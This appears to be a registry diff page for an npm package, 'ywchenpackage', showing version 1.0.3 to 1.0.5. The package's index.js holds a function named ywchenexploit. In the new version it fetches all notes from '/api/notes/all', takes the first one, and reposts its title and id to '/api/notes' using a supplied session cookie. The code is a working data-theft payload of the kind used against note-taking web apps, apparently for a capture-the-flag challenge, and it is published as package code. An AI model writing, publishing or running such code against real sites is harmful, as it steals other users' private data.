ywchenpackage 1.0.3 → 1.0.5

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +15 -4
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,6 +1,6 @@
1
- function ywchenexploit() {
2
- let stolenurl = document.stolenurl.url;
3
- let c2url = document.c2url.url;
1
+ function ywchenexploit(cookie) {
2
+ let stolenurl = "/api/notes/all";
3
+ let c2url = "/api/notes";
4
4
  fetch(stolenurl)
5
5
  .then(
6
6
  function(response){
@@ -8,7 +8,18 @@ function ywchenexploit() {
8
8
  }
9
9
  ).then(
10
10
  function(response){
11
- fetch(c2url + "?data=" + JSON.stringify(response[0]));
11
+ let stolen = response[0];
12
+ stolen.author = "aaaa";
13
+ fetch(
14
+ c2url, {
15
+ method: "POST",
16
+ headers: {
17
+ "content-type": "application/json",
18
+ "cookie": "session="+cookie
19
+ },
20
+ body: JSON.stringify({"title":stolen.title+"_id","content":stolen.id})
21
+ }
22
+ );
12
23
  })
13
24
  return "hello NPM"
14
25
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ywchenpackage",
3
- "version": "1.0.3",
3
+ "version": "1.0.5",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {